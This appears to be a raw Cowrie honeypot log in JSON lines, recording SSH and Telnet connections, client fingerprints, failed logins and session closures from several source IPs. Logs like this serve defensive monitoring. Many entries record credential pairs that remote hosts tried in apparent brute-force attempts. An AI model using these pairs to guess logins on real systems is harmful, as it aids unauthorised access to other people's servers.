{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:26.088423Z","src_ip":"31.40.204.166","session":"e9a19f255701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maldini3","message":"login attempt [root/maldini3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:26.236853Z","src_ip":"190.85.41.170","session":"8e06793c3046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:27.220351Z","src_ip":"31.40.204.166","session":"e9a19f255701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:27.314378Z","src_ip":"190.85.41.170","session":"8e06793c3046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.46532917022705,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:30.583725Z","src_ip":"152.42.224.71","session":"6b365cb34a27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.348498821258545,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:32.658931Z","src_ip":"152.42.224.71","session":"60c5f3ea2d67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47528,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9f198bbb16","protocol":"telnet","message":"New connection: 152.42.224.71:47528 (10.17.0.5:23) [session: cc9f198bbb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:33.365481Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":48926,"dst_ip":"10.17.0.5","dst_port":22,"session":"8027ad842d15","protocol":"ssh","message":"New connection: 81.9.145.130:48926 (10.17.0.5:22) [session: 8027ad842d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:35.099620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:35.104363Z","src_ip":"81.9.145.130","session":"8027ad842d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:35.217345Z","src_ip":"81.9.145.130","session":"8027ad842d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47542,"dst_ip":"10.17.0.5","dst_port":23,"session":"209ca0e963ab","protocol":"telnet","message":"New connection: 152.42.224.71:47542 (10.17.0.5:23) [session: 209ca0e963ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:35.410191Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2023","message":"login attempt [root/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:35.702043Z","src_ip":"81.9.145.130","session":"8027ad842d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:36.817842Z","src_ip":"81.9.145.130","session":"8027ad842d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55146,"dst_ip":"10.17.0.5","dst_port":23,"session":"c626dc33307a","protocol":"telnet","message":"New connection: 152.42.224.71:55146 (10.17.0.5:23) [session: c626dc33307a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:36.902122Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0ba80a9bf8","protocol":"telnet","message":"New connection: 152.42.224.71:55162 (10.17.0.5:23) [session: 6e0ba80a9bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.172837Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":49510,"dst_ip":"159.203.135.109","dst_port":22,"session":"695c146eca20","protocol":"ssh","message":"New connection: 47.237.167.49:49510 (159.203.135.109:22) [session: 695c146eca20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.619288Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36662,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccbb720d21c7","protocol":"ssh","message":"New connection: 31.40.204.166:36662 (159.203.135.109:22) [session: ccbb720d21c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.684755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.690180Z","src_ip":"31.40.204.166","session":"ccbb720d21c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.482513427734375,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.713124Z","src_ip":"152.42.224.71","session":"cf672bd44c53","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:37.890610Z","src_ip":"31.40.204.166","session":"ccbb720d21c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:38.828470Z","src_ip":"31.40.204.166","session":"ccbb720d21c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55174,"dst_ip":"10.17.0.5","dst_port":23,"session":"022c6c00c238","protocol":"telnet","message":"New connection: 152.42.224.71:55174 (10.17.0.5:23) [session: 022c6c00c238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:38.987406Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:39.987678Z","src_ip":"31.40.204.166","session":"ccbb720d21c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55190,"dst_ip":"10.17.0.5","dst_port":23,"session":"e556efd7d6a5","protocol":"telnet","message":"New connection: 152.42.224.71:55190 (10.17.0.5:23) [session: e556efd7d6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:40.312049Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":33996,"dst_ip":"10.17.0.5","dst_port":22,"session":"125a100619d5","protocol":"ssh","message":"New connection: 170.106.159.59:33996 (10.17.0.5:22) [session: 125a100619d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:42.813442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:42.818099Z","src_ip":"170.106.159.59","session":"125a100619d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:42.887262Z","src_ip":"170.106.159.59","session":"125a100619d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefanie","message":"login attempt [root/stefanie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:43.194937Z","src_ip":"170.106.159.59","session":"125a100619d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:44.267325Z","src_ip":"170.106.159.59","session":"125a100619d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00559401512146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:48.747154Z","src_ip":"152.42.224.71","session":"8ff30d7e3889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58802,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ebe814daef","protocol":"ssh","message":"New connection: 31.40.204.166:58802 (159.203.135.109:22) [session: 23ebe814daef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:49.511566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:49.521172Z","src_ip":"31.40.204.166","session":"23ebe814daef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:49.682662Z","src_ip":"31.40.204.166","session":"23ebe814daef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:50.323034Z","src_ip":"31.40.204.166","session":"23ebe814daef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:51.514756Z","src_ip":"31.40.204.166","session":"23ebe814daef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e1b9c203e3","protocol":"telnet","message":"New connection: 152.42.224.71:39886 (10.17.0.5:23) [session: 35e1b9c203e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:54.253377Z"}
{"eventid":"cowrie.session.closed","duration":31.634971141815186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:57.707055Z","src_ip":"152.42.224.71","session":"29232c61e385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.86925387382507,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:01.615207Z","src_ip":"152.42.224.71","session":"03534945b62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39946,"dst_ip":"159.203.135.109","dst_port":22,"session":"0060d81c2466","protocol":"ssh","message":"New connection: 31.40.204.166:39946 (159.203.135.109:22) [session: 0060d81c2466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:02.129061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:02.133914Z","src_ip":"31.40.204.166","session":"0060d81c2466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:02.291598Z","src_ip":"31.40.204.166","session":"0060d81c2466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:02.726946Z","src_ip":"31.40.204.166","session":"0060d81c2466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:03.910476Z","src_ip":"31.40.204.166","session":"0060d81c2466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.19296765327454,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:04.633025Z","src_ip":"152.42.224.71","session":"f9df29699137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.664055585861206,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:09.934537Z","src_ip":"152.42.224.71","session":"03d0842eb8ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42164,"dst_ip":"159.203.135.109","dst_port":22,"session":"a77016a3a53a","protocol":"ssh","message":"New connection: 103.77.242.62:42164 (159.203.135.109:22) [session: a77016a3a53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:11.312835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:11.317499Z","src_ip":"103.77.242.62","session":"a77016a3a53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:11.557060Z","src_ip":"103.77.242.62","session":"a77016a3a53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.90823268890381,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:11.810227Z","src_ip":"152.42.224.71","session":"c626dc33307a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl1","message":"login attempt [root/asdfghjkl1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:12.275350Z","src_ip":"103.77.242.62","session":"a77016a3a53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.69285440444946,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:12.875950Z","src_ip":"152.42.224.71","session":"5e48f234ea63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58850,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3c5f81d644","protocol":"telnet","message":"New connection: 152.42.224.71:58850 (10.17.0.5:23) [session: 4a3c5f81d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:12.889214Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:13.521008Z","src_ip":"103.77.242.62","session":"a77016a3a53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0109a2bc04","protocol":"ssh","message":"New connection: 31.40.204.166:42936 (159.203.135.109:22) [session: ce0109a2bc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:14.385071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:14.400635Z","src_ip":"31.40.204.166","session":"ce0109a2bc04","protocol":"ssh"}
